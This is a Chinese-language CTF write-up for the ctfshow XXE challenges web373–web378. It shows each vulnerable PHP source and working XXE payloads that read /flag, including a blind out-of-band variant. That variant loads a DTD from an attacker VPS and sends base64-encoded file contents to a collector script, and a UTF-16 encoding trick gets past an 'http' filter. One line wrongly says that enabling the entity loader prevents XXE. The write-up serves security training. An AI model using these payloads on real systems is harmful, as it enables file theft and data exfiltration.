CTFSHOW-XXE

web373

libxml_disable_entity_loader  #禁用/启用加载外部实体的功能     参数为true时为禁用,参数为false为启用
file_get_contents('php://input')   #简单理解就是接受POST请求方式传的数据
loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD) #通过解析一个 XML 标签字符串来组成该文档
simplexml_import_dom   #把 DOM 节点转换为 SimpleXMLElement 对象
 
$creds->ctfshow 获取页面中的ctfhsow元素

源码如下: 

<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
    $creds = simplexml_import_dom($dom);
    $ctfshow = $creds->ctfshow;
    echo $ctfshow;
}
highlight_file(__FILE__);    
主要实现功能是读取从客户端通过 POST 请求发送过来的 XML 文件,并提取文件中 ctfshow 标签内的值进行输出。
第二行语句 libxml_disable_entity_loader(false); 用于开启 XML 实体加载器,防止 XXE XML External Entity)攻击;接下来的代码块则判断请求是否包含 XML 文件,如果存在则解析该文件并将 ctfshow 标签内的值输出到客户端。
loadXML() 函数是 DOMDocument 类提供的加载 XML 内容的方法
$creds = simplexml_import_dom($dom); 这行代码的作用是将 DOMDocument 对象转化为
SimpleXMLElement 类型的对象,方便对 XML 数据进行操作。在 PHP 中, DOMDocument 是一个类,提供了一种在脚本中创建和修改 XML 文档结构的方法。而 SimpleXMLElement 是另一个类,可以让我们更方便地读取和修改 XML 数据。
$dom 是一个由 file_get_contents 函数返回的字符串内容, 表示一个 XML 文件。
simplexml_import_dom 函数则将该字符串转换成了 DOMDocument 对象,并将其转化为
SimpleXMLElement 对象 $creds 。这样做的好处在于, SimpleXMLElement 对象使得 XML 数据操作更加简单,我们可以通过对象的属性或方法来提取 XML 标签内的数据,而不需要写繁琐的 DOM 操作代码。

这道题没有任何的过滤,直接构造payload

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE  xxe [
<!ENTITY xee SYSTEM "file:///flag">
]>
<aaa>
<ctfshow>
&xee;
</ctfshow>
</aaa>

之后用bp上传

web374

源码如下:

<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);    

相比于上一题,发现无回显

没有回显则可以使用Blind XXE漏洞来构建一条带外信道提取数据

在公网上上创建1.php,内容:

<?php 
file_put_contents("test.txt", $_GET['file']) ; 
?>

创建xxe.dtd文件:(这边也可以使用xxe.xml文件)

<!ENTITY % dtd "<!ENTITY &#x25; xxe  SYSTEM 'http://[vps-ip]/1.php?file=%file;'> ">
%dtd;
%xxe;

payload:

<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % aaa SYSTEM "http://[vps-ip]/xxe.dtd">
%aaa;
]>
<root>123</root>
将两个外部实体 (%file %aaa) 引入 XML 文档中
%file 定义了一个实体,用于读取位于 /flag 路径下的文件并对其进行 base64 编码,则该文件的内容将以 base64编码的形式显示在 XML 响应中。
%aaa 定义了一个实体,指向远程 XML 文档。如果能够成功地利用此漏洞执行 XXE 攻击,则远程 XML 文档的内容将被解析并包含在XML 响应中。

首先用bp抓包,并将payload写入

之后返回到服务器

可以看到多出一个test.txt文件

将里面的内容进行base-64解码即可得到flag

 web375

源代码:

<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"/', $xmlfile)){
    die('error');
}
if(isset($xmlfile)){
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);    

在上一题的基础上过滤了xml和version=1或0

依然使用的是上一题的payload,步骤与上一题类似,不再赘述。

web376

源码如下:

<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"/i', $xmlfile)){
    die('error');
}
if(isset($xmlfile)){
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);    

/i,过滤大小写,payload同上

web377

源码如下:

<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"|http/i', $xmlfile)){
    die('error');
}
if(isset($xmlfile)){
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);  

过滤了http

使用utf-16编码进行绕过

用Python(要安装requests库)

import requests
url = 'http://0ec4fe9d-6949-4e9d-a3b1-70be3bb3f01b.challenge.ctf.show/'
payload = '''
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % remote SYSTEM "http://[vps-ip]/xxe.dtd">
%remote;
%send;
]>
'''
payload = payload.encode('utf-16')
rep = requests.post(url=url, data=payload)
print(rep.text)

web378

可以看到这个题是一个登录页面

抓包看一下

发现是回显xml 形式,而且是回显 username的值

payload:

<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY file SYSTEM "file:///flag">
]>
<user>
<username>&file;</username>
<password>123</password>
</user>

将payload写入bp中就可以获取flag了

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值